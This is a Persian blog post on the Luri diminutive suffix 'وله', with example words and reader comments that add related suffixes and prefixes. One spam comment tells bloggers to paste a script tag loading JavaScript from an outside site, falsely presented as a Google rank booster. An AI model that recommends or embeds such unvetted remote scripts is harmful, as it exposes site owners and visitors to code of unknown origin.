پسوند وله به معنی کوچک است.

لری به عنوان زبان باستانی پهلوی اصالت خود را حفظ کرده است. پسوند وله که به انتهای بعضی کلمات اضافه می شود، به معنی کوچک است.

بچوله = بچه کوچک

مشکوله = مشک کوچک

کوچکوله (کوشکله) = کوچک کوچک یا خیلی کوچک

تکوله (تیکله) = تکه کوچک - ذره

گاموله = گام کوچک، منظور چهار دست و پا راه رفتن نوزاد است که گام های کوچکی بر می دارد.

حال به بررسی همین پسوند در فارسی امروز می پردازیم:

کوتوله (کوتاه + وله) = کوتاه کوچک یا خیلی کوتاه

زنگوله = زنگ کوچک

کوچولو که باید به صورت کوچکوله باشد.

لطفا نظرات تکمیلی خود را راجع به این مطلب ارائه نمایید.

/ 5 نظر / 41 بازدید
AHB

با سلام ایا شما می دانید چطور بازدید تان را افزایش دهید شاید هم بگید من کامل بدونم ولی اشتباه است در اینترنت اگر شما با راه کار های اینترنتی آشنا شوید می توانید بهترین وبلاگ را راه اندازی کنید مانند سایت های دانلود مثل پی سی دانلود و دانلود ها و.... کار هایی که شما باید انجام دهید 1:روزی یک قالب عوض کنید(قالب متفاوت) که از سایت ما می تونید دانلود کنید 2:کد زیر را در وبلاگ خود قرار دهید <کد افزایش رنک گوگل><script language='javascript' type='text/javascript' src="http://ahb-dl.ir/doc/alexa.JS"></script><کد افزایش رنک گوگل> البته باید در قسمت کد های اضافه کار بر بگزارید بعد از یک ماه دیگه متوجه می شوید 3:روزی یک مطلب در وبلاگ بزارید(برای اینکه گوگل بداند شما فعالید) فرقی نمی کند چی باشه 4:تبادل لینک با سایت های بزرگ البته من در هر هفته به کسانی که از قالب وبلاگ های سایتم و کدی که گفتم استفاده کنند لینکشون را تو صفحه اصلی قرار میدهم(البته هر هفته 10 وبلاگ) پ

صبا

سلام وبلاگتون فوق العاده است. محتواش در نوع خودش کم نظیره راستش من خیلی به زبان شناسی و ریشه شناسی واژگان علاقه دارم. و همچنين به گويش لري. حتي همين واژه "خوشگل" كه متضادش مي شه "بدگل" و ما "زشت" رو به كار مي بريم، يه واژه اصيله. خوشگل يعني كسي كه از آب و گل زيبايي سرشته شده، و اگه يه كم دقت كنيم مي بينيم كه بدگل دقيقا متضاد همين كلمه است. زنده باد ايراني و هر آن كس كه براي زنده نگهداشتن زبان پارسي تلاش مي كنه لينكتون مي كنم... شاد باشيد و برقرار

علی

با این حساب تیکلونجله به صورت زیر در می آید: تکه + وله + انجه + وله به معنی ذره ای از یک قسمت کوچک. انجه به معنی تکه است.

خواننده ای از نشریه لور

سلام دمتون گرم فهرست حالبی از واژگان لری ارائه کردید که با پسوند تصغیر "وله" در زبان لری ساخته می شوند فراوش نکنیم لری یک لهجه نیست و واژه سازی آن هم دست کمی از فارسی ندارد با اینکه واژه های فارسی را اکثرا فرهنگستان و نویسندگان و مترجمان می سازند ولی در لری بصورت طبیعی خود مردم عادی ساخته اند حساب کنید اگر لری هم نویسندگان و مترجمان و فرهنگستانی داشت قدرت واژه سازی آن چه می شد؟ همچنین پسوند تصغیر دیگری در لری وجود دارد به نام "یله" که واژگانی از این قبیل با اشتقاق از ان ساخته شده اند: بییله: عروسک داسیله: داس کوچک جومیله: جام یا کاسه کوچک و.....

فرزند رودخانه های لر( سیمره<کرخه> سزار <دز> کارون و زاینده رود....)

سلام.البته پسوندهای کوچکساز یا تصغیر در لری فقط به <وله> و <یله> ختم نمی شود همان پسوندهای <چه> و <ک> که با فارسی مشترک است در لری پهلوی(فیلی) هم به کار می رود و ازقضا قدرت تولید آنها از فارسی هم بیشتر بوده است مانند دمبلیچه ( دمبل (همریشه با دنباله)+چه = زائده پیه ای در مرغ معادل دنبه در گوسفند تیلک:نهال کوچک- پیلک (پول=سکه کوچک) به معنای دکمه لباس (شباهت با سکه های کوچک قدیمی) و...... همچنین در لری پیشوند کوچکساز هم داریم مانند: تیله مار: مار کوچک-تیله ره: راه باریک-تیله دار: درخت یکی دوساله و... پیروز باشید.